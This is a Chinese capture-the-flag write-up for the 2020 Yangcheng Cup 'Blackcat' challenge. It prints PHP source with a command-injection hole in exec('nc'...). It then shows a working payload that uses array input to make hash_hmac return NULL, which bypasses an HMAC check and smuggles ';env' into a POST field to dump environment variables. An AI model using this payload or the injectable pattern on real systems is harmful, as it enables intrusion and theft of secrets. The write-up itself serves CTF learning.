当前位置: 首页 > news >正文

[羊城杯 2020]Blackcat1

知识点:数组加密绕过

进入页面熟悉的web三部曲(url地址,web源代码,web目录扫描)

url地址没有什么东西去看看源代码.

这有一个mp3文件点一下看看.

在最后面发现了 PHP源码.


if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('谁!竟敢踩我一只耳的尾巴!');
}$clandestine = getenv("clandestine");if(isset($_POST['White-cat-monitor']))$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);if($hh !== $_POST['Black-Cat-Sheriff']){die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}echo exec("nc".$_POST['One-ear']);

开始代码审计.

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){  die('谁!竟敢踩我一只耳的尾巴!');  
}  
// 检查POST请求中是否包含'Black-Cat-Sheriff'和'One-ear'字段,且它们不为空。  
// 这是一个基本的输入验证,但不足以防止所有类型的攻击。  $clandestine = getenv("clandestine");  
// 从环境变量中获取名为'clandestine'的值,这通常用于存储敏感信息,如密钥。  
// 但从环境变量中直接读取密钥可能不安全,因为它可能暴露给不应访问它的进程。  if(isset($_POST['White-cat-monitor']))  $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);  
// 如果POST请求中包含'White-cat-monitor',则使用其值对'clandestine'进行HMAC SHA256哈希处理。  
// 这可能导致'clandestine'的值被意外修改,这可能不是预期的行为。  $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);  
// 使用'clandestine'作为密钥,对'One-ear'的值进行HMAC SHA256哈希处理。  
// 这可能用于验证'One-ear'的值,但依赖于之前'clandestine'的值是否已被修改。  if($hh !== $_POST['Black-Cat-Sheriff']){  die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');  
}  
// 验证'Black-Cat-Sheriff'的值是否与预期的哈希值匹配。  
// 如果不匹配,则输出一条消息并终止脚本。  echo exec("nc".$_POST['One-ear']); // 危险!  
// 这里存在严重的安全问题!  
// 使用exec函数执行以'nc'(Netcat)开头的命令,并将'One-ear'的值附加到命令中。  
// 这允许攻击者通过控制'One-ear'的值来执行任意命令,这是典型的命令注入漏洞。  
// 攻击者可以利用这个漏洞来完全控制服务器。

意思是我们要保证Black-Cat-Sheriff 和 One-ear 两个参数的POST值存在的同时Black-Cat-Sheriff的值要等于One-ear经过sha256加密后的值($hh),最后通过exec这个危险函数来获取flag.

知识点:当数组进行sha256加密时,返回总为NULL.

        示例:

<?php
var_dump(hash_hmac('sha256', array(0), 'Unknown_key'));?>结果为:NULL

如果我们想要保证hh的value等于Black-Cat-Sheriff的value,那么我们就需要控制这两个参数的value,因为$clandestine=getenv("clandestine");,我们无法知道它(第一次加密)的环境变量的value,但由于我们知道当数组进行sha256加密时,返回总为NULL,我们就可以控制$clandestine(第二次加密)这个key的value=NULL从而控制hh的value.

话不多说开始注入.

利用下面这exp求出Black-Cat-Sheriff的value

<?php
var_dump(hash_hmac('sha256', ";env", NULL));
?>result:afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

至于为什么 用的是;env,而不是什么cat flag,是因为flag文件里的flag值时假的,他的flag值在环境变量里,同时 ; 是为了不被前面的nc影响.

得到flag游戏结束~ 

http://www.lryc.cn/news/439828.html

相关文章:

  • 腾讯云Ubuntu系统安装宝塔,配置Java环境,运行spring boot项目
  • 双亲委派机制知识点
  • vue part 11
  • 【QT】常用类
  • 从index_put出发全面学习cuda和pytorch技术
  • 浅谈住房城乡建设部科技创新平台布局重点方向
  • 调用 write()函数后,如何知道数据是否已经写入磁盘?
  • 策略路由与路由策略的区别
  • 从底层原理上理解ClickHouse 中的稀疏索引
  • xtu oj 锐角三角形
  • MATLAB系列04:循环结构
  • 虹科方案 | 精准零部件测试!多路汽车开关按键功能检测系统
  • 【加密算法基础——AES CBC模式代码解密实践】
  • 【ViT+Dis】Deepfake Detection Scheme Based on Vision Transformer and Distillation
  • maya-vray渲染蒙版
  • 计网简简单单复习一下
  • PyQt5-loading-圆环加载效果
  • RabbitMQ Spring客户端使用
  • Arduino IDE离线配置第三方库文件-ESP32开发板
  • Node.js 安装及项目实践
  • 如何从混合信号中剔除某一信号——Schmidt正交化的使用(信号互相关)
  • I2C/IIC学习笔记
  • Servlet学习详解--基本涵盖所有Servlet知识点
  • LabVIEW机械手视觉引导系统
  • rabbitmq容器化部署
  • 如何用 Helm Chart 安装指定版本的 GitLab Runner?
  • el-table使用合计和固定列时,滚动条被覆盖区域无法拖拽问题
  • 【疑难杂症2024-005】docker-compose中设置容器的ip为固定ip后,服务无法启动
  • uView使用心得
  • RabbitMQ(高阶使用)死信队列